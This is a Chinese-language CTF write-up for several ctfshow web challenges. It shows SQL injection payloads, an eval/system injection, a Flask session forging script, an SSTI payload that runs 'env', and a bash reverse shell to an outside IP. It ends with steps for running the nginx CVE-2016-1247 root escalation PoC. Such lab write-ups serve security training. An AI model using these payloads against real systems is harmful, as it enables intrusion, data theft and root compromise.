ctfshow-内部赛

登录就有flag签退蓝瘦出题人不想跟你说话.jpg

登录就有flag

经过一番固定的注入尝试发现 1:长度限制为5 2:存在过滤且过滤的字符会有回显 能留下来的字符很少这里列出 # ' ^ = > < . ,

在排除一下 =><可以只留等于号, 逗号和点号暂时没想出来怎么利用,所以可用的字符还有# ' ^ =

号可以用于闭合,井号可以用于注释,^进行异或运算,等号就是判等,这里需要利用sql的一个点“mysql弱类型转换” 空异或0会查到所有非数字开头的记录,转换一下还有好几种结果:

payload:

'^0#   '^''#    

签退

变量覆盖

payload:

?S=a;system("ls");

可知 eval里面的内容为 ("a;system('ls')")

蓝瘦

flask session 加解密

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
​
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
​
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
​
# Lib for argument parsing
import argparse
​
# external Imports
from flask.sessions import SecureCookieSessionInterface
​
class MockApp(object):
​
    def __init__(self, secret_key):
        self.secret_key = secret_key
​
​
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
​
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
​
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
​
​
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
​
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
​
                    data = payload.split(".")[0]
​
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
​
                    return data
                else:
                    app = MockApp(secret_key)
​
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
​
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
​
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
​
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
​
​
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
​
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
​
                    data = payload.split(".")[0]
​
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
​
                    return data
                else:
                    app = MockApp(secret_key)
​
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
​
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
​
​
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
​
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
​
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
​
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
​
    ## get args
    args = parser.parse_args()
​
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))
​
​
解密:python flask_session_manager.py decode -c -s  # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

 剩下的就是ssti了说flag在内存,那么查看环境变量:Linux查看环境变量使用env命令显示所有的环境变量

payload:

?ctfshow={{config.__class__.__init__.__globals__['os'].popen('env').read()}}

出题人不想跟你说话.jpg

根据图片 连接 密码为 cai

权限不够 不能读flag

根据提示知道要提权 ,提示还说漏洞俩分钟触发一次,猜测可能有定时任务可以利用

cat/etc/crontab

根据这个任务 在网上各种搜索 发现

[nginx权限提升]  https://blog.knownsec.com/2016/11/nginx-exploit-deb-root-privesc-cve-2016-1247/ 

查看版本在此列

 

1.反弹shell

攻击机:  netcat -lvvp 2333
受害机: bash -i >& /dev/tcp/82.156.168.16/2333 0>&1

2.下载对应POC上传到服务器(nginx.sh)

注意:创建POC需要在linux系统中创建,否则运行时会报错“/bin/bash^M: bad interpreter: No such file or directory”,这是由于脚本文件的格式不同,linux却是只能执行格式为unix格式的脚本。如果在windows下创建则会变成dos格式。

通过cat -A filename查看格式,dos格式的文件行尾为^M$ ,unix格式的文件行尾为$。 或者可以直接改 vi模式打开 :set ff=unix

上传后运行POC(一定在自己的html文件目录下)

chmod +x nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log

接着等待漏洞触发即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值